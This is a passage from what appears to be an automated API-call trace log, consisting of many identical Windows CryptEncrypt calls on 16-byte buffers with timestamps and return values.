pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.358] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.359] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.360] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.361] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.362] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.363] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.364] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 